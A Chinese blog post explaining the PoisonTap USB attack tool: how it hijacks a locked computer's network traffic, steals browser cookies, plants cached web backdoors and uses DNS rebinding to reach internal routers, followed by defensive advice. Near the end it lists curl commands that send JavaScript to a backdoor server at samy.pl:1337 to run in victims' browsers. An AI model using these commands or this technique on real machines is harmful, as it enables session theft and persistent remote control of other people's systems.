• 30秒攻破任意密码保护的PC:深入了解5美元黑客神器PoisonTap


    hqdefault.jpg

    近日,著名硬件黑客Samy Kamkar利用5美元设备打造的黑客工具PoisonTap,只需30秒,就可以攻破设置有任意密码的电脑系统,并实现长期后门安装。PoisonTap不是暴力破解密码,而是绕过密码。

    PoisonTap的标配:5美元的树莓派微型电脑Raspberry Pi Zero、USB适配器、内置免费漏洞利用软件。目前,相关软件和利用工具已在Github提供下载,Raspberry Pi Zero在某宝上也有售卖,感兴趣的童鞋可以尝试打造属于自己的PoisonTap神器。以下为PoisonTap官方Github介绍的工作机制,感叹Samy Kamkar大神天马行空的思维,同时也深谙自己技艺不精,不足之处,希望大家指正交流。

    PoisonTap操作实现:

    PoisonTap通吃Windows和Mac系统,一旦插入电脑,将伪装模拟成新加入的以太网连接,即使受害者使用WIFI,一样可以使系统优先接入其伪装的虚假网络。PoisonTap利用中间人攻击方式,可以劫持监听受害者所有网络流量,窃取存储在浏览器里的任意cookie和session,然后发送给控制端。以下为PoisonTap具体操作实现:

    通过 USB或Thunderbolt模拟成新加入的以太网连接设备;

    劫持目标系统所有网络连接流量(即使是低优先级或未知的网络连接)

    窃取存储在浏览器内相关Alexa排名前100万网站cookie和session信息

    识别目标网络路由信息,通过远程outbound方式进行WebSocket或DNS重绑定攻击

    通过HTTP的JS缓存中毒方式实现长期web后门安装控制,这些缓存后门涉及上千个域名和通用javascript CDN 链接

    使用用户cookie对后端域名实现远程HTTP GET或POST方式控制连接

    不需要系统解锁

    移除攻击载体后,后门保持有效

    68747470733a2f2f73616d792e706c2f706f69736f6e7461702f63726f70706564362e676966.gif

     PoisonTap可以绕过或突破以下安全保护措施:

    锁屏密码

    路由表优先级设置和网络接口服务顺序

    同源保护策略

    Cookie的HttpOnly安全设置

    Cookie的SameSite安全属性

    双因素或多因素认证

    DNS Pinning  

    跨域资源共享

    HTTPS cookie 保护

    PoisonTap如何工作:

    PoisonTap对系统和网络安全信任机制的攻击,将会产生一系列连锁反应,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以进行信息窃取、网络入侵和后门安装。

    68747470733a2f2f73616d792e706c2f706f69736f6e7461702f6e6574776f726b322e6769663f.gif

    网络劫持

    1 攻击者向有密码保护并且锁屏的电脑系统插入PoisonTap;

    2 PoisonTap将会模拟伪装成一个新加入系统的网络连接,默认情况下,即使在有密码保护的锁屏状态下,Windows、OS X 和Linux系统将会识别该虚假网络连接,并发出DHCP请求;

    3 PoisonTap响应DHCP请求,并提供一组经过构造,从0.0.0.0至255.255.255.255,与PoisonTap设备为同一子网的随机IP地址组合; 通常,在系统使用现有网络连接的情况下,一个附加网络连接的加入,系统会把其默认为低优先级网络,并继续使用现有网络网关。但是,在基于”Internet traffic”的 “LANtraffic”情况下,任何路由表/网关优先级/网络接口服务顺序设置都可被绕过。PoisonTap通过更改原网络连接网关地址,把流量引入自身,进而劫持系统所有网络流量。

    68747470733a2f2f73616d792e706c2f706f69736f6e7461702f636f6f6b696573322e676966.gif

    Cookie窃取

    只要目标系统运行有浏览器,打开网页将会通过AJAX或动态脚本框架(script/iframes)产生各种请求,而由于系统网络流量被完全劫持,

    1 PoisonTap将会监听到所有HTTP请求和响应,并将这些内容发送到PoisonTap的web服务端(Node.js);即使DNS服务器指向其它内部IP,由于这些内部DNS服务器将为缓存的域名产生公共IP地址,而这些IP地址已经被PoisonTap劫持,所以攻击仍然有效

    3 当Node web服务器接收到请求时,PoisonTap会通过HTML或Javascript进行响应(许多网站会在后台请求中加载HTML或JS)

    4 然后,HTML / JS-agnostic页面会生成许多隐藏的iframe,每个iframe中又包括Alexa排名前100万内的不同网站

    6.gif

    通过web后门进行远程访问

    1当PoisonTap生成上千个iframe之后,将会迫使浏览器加载每个iframe,但这些iframe不仅仅是空白页面,而是无限缓存的HTML + Javascript后门

    2 即使用户当前未登录,由于PoisonTap已经在每个缓存域名上强制绑定了这些后门,使攻击者能够使用Cookie并在将来启动同源请求

    例如,当加载http://nfl.com/PoisonTapiframe时,PoisonTap接受转向的Internet流量,并通过Node Web服务器响应HTTP请求

    添加了其它HTTP头以无限缓存页面

    3 实际响应页面是HTML和Javascript的组合,并由此产生持续有效的WebSocket连接攻击者web服务器端(通过互联网而不是PoisonTap设备)

    WebSocket保持开放状态,允许攻击者在将来任何时候回连后端机器,并在任何有后门部署的源上执行请求(Alexa排名前100万个网站-见下文)

    如果后门在一个站点(如nfl.com)上打开,但用户希望攻击不同的域名(如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门中(http://pinterest.com/PoisonTap

    同样,域上的任何“X-Frame-Options”、跨域资源共享和同源策略安全性完全被绕过,因为实际请求的是PoisonTap留下的缓存,而不是真正的域名

    内部路由器后门和远程访问

    1 PoisonTap可以劫持当前网络的实际局域网子网

    2 PoisonTap通过在一个特定主机上强制缓存后门,具体来说,在目标路由器的IP后面加上“.ip.samy.pl”,如192.168.0.1.ip.samy.pl,就可以生成一个持久的DNS重绑定攻击

    当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap使用临时专门的IP(1.0.0.1)进行响应,这意味着此时任何请求都将访问到PoisonTap Web服务器

    如果DNS服务器设置为内部网络(如192.168.0.x),1.0.0.1.pin.ip.samy.pl发出一个经过构造的请求,几秒之后,它将会向我的专用DNS服务器(公网的)返回任意[ip.address].ip.samy.pl中的IP地址信息

    然后,PoisonTap将会在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,而在PoisonTap设备上将指向1.0.0.1,该后门将实现从PoisonTap设备访问

    3 DNSpinning 和DNSrebinding的安全性设置,由于之前做出Alexa top100万网站请求而耗尽DNS pinning表,最终将被绕过。之后,DNS就不需要重新绑定,使得该攻击可以持续很长时间

    4 现在,后门强制连接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何对192.168.0.1.ip.samy.pl的请求都将访问到unpinned的IP地址,导致路由器解析直接指向192.168.0.1

    5 这意味着如果通过后门远程在iframe中加载192.168.0.1.ip.samy.pl/PoisonTap指向主机,就可以对内部路由器执行AJAX GET/POST和其它任意页面,实现完全控制内部路由器

     8.png

    构造请求与DNS服务器解析的对应关系

    [ip.addy].ip.samy.pl normally responds with [ip.addy]

    192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

    [ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]

    1.0.0.1.pin.ip.samy.pl -> 1.0.0.1

    192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)

    基于web远程访问的其它后门

    1 PoisonTap替代了成千上万常见的,基于CDN的Javascript文件,如Google和jQuery CDNs。如果一个网站或域名加载了受感染中毒的CDN Javascript文件,正确的代码配合后门,就可以让攻击者实现入侵访问

    2 由于每个缓存的网站域名都留有后门,即使当前受害者没有对任何域名执行访问,攻击者仍然可以远程强制后端浏览器执行同源请求(AJAX GET / POST)

    3 当受害者访问基于HTTP或CDN Javascript缓存中毒的网站时,后门就被触发

    9.jpg

    PosionTap安全防范

    服务器安全

    1 仅使用HTTPS,至少对认证和认证内容使用HTTPS

    2确保启用Cookie安全标记,防止HTTPS Cookie信息泄露

    3 当调用远程Javascript脚本资源时,请使用子资源完整性(SRI)标记属性

    4 使用HSTS防止HTTPS降级攻击

    桌面客户端安全

    1 有必要可以用粘合剂封住USB和Thunderbolt端口

    2 每次离开电脑时关闭浏览器

    3 禁用USB和Thunderbolt端口

    4 经常清理浏览器的缓存数据

    5 在不使用电脑时,让电脑进入休眠状态而不是睡眠状态,在休眠状态中,电脑中所有的进程都将停止工作,安全性更高

    文件介绍:

    backdoor.html:每当一个http://hostname/PoisonTapURL请求发生并窃取 cookie信息时,该文件作为返回的强制缓存内容,它包含一个后门并生成一个外连至samy.pl:1337(主机/端口可更改)的websocket,等待服务器命令。

    backend_server.js:这是你在Internet可访问的Node服务器,也是backdoor.html连接的内容(例如,samy.pl:1337)。 该服务器也用来发送命令,如:

    # pop alert to victim
    curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
    # to set a cookie on victim
    curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
    # to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
    curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})'

    pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,为PoisonTap 的HTTP服务端截获请求,存储窃取Cookie并注入缓存后门

    pi_startup.sh:在Raspberry Pi Zero上启动时运行,将设备模拟为USB以太网配件,设置恶意DHCP服务器,允许流量重路由,DNS欺骗,并启动pi_poisontap.js文件

    target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,通过Google CDN’s jQuery URL方式形成后门

    target_injected_xhtmljs.html:在受害者系统中注入HTTP / AJAX请求并形成整个攻击

    poisontap.cookies.log: 记录来自受害者浏览器的cookie 

    修复措施:

    目前来说,PoisonTap因为是多种黑客技巧组合而成的攻击,整个攻击和利用过程不能明确反映某个产品或系统漏洞,所以,目前来说,没有一种明确的修复措施。但Kamkar提出了一种解决方案,希望在系统层面的网络连接切换中加入权限许可机制,但是苹果公司没有对此作出回应,而微软公司在给记者的回复邮件中表示,PoisonTap是一种物理接入攻击,所以,最好的防御策略就是自己保管好电脑并及时更新系统和软件。

  • 相关阅读:
    window 7/8/10 安装nginx
    全面了解 Nginx 到底能做什么
    MySQL优化
    office 2013 破解工具 及 软件下载
    centos6+如何对外开放80,3306端口号或者其他端口号
    CentOS 中查看软件的版本号
    CentOS 中安装 mysql 5.7+
    STL入门大全(待编辑)
    Feign
    微信公众号
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/6089217.html
Copyright © 2020-2023  润新知